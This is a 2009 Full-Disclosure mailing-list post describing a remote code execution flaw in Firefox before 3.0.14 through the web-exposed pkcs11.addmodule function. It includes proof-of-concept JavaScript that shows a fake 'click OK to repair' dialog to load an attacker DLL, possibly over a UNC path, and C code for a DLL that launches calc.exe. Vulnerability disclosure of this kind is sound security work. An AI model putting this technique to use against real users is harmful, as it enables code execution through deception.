[Full-disclosure] Firefox <3.0.14 Multiplatform RCE via pkcs11.addmodule
dan at doxpara.com
Thu Sep 10 20:11:33 BST 2009
Bug history: https://bugzilla.mozilla.org/show_bug.cgi?id=326628
So, Firefox up through 3.0.13 had an obscure little function under
long addmodule(in DOMString moduleName,
in DOMString libraryFullPath,
in long cryptoMechanismFlags,
in long cipherFlags);
Yes, that's actually the full path to a DLL -- or an .so on Linux/OSX --
from a JS function that's exposed to the web.
Attacker doesn't get zero click install -- there's a dialog -- but:
1) Attacker does get to customize the dialog via moduleName
2) The dialog is modal, so the user doesn't get access to Firefox again
until they hit OK (can't even close Firefox)
3) On Windows, he can put a UNC path in for the Library path. There's
probably similar on OSX and some Linux distros. Even without, there's
usually a way to get a file in a known location -- see John Heasman's Java
LoadLibrary of Attacker library on OK.
var str = "Error detected in Firefox Module NSP31337.bin.\n" +
"Please click 'OK' to repair."
ret=window.pkcs11.addmodule("\n\n\n" + str + "\n\n\n",
pkunkcs", 0, 0);
"Shellcode" is just a DLL with ShellExecute in the constructor:
char *str = "c:\\windows\\system32\\calc.exe";
len = strlen(str)+1;
wText = new wchar_t[strlen(str)];
memset(wText, 0, len * sizeof(wchar_t));
::MultiByteToWideChar(CP_ACP, NULL, str, -1, wText, len);
ShellExecute(NULL, NULL, wText, NULL, NULL, SW_SHOW);
Cheers to Jesse Ruderman, who recognized this was probably not the greatest
of API's some time ago. The bug history is worth taking a look at...goes
back a while. They missed the UNC path vector, and appear to have
underestimated the modal dialog.
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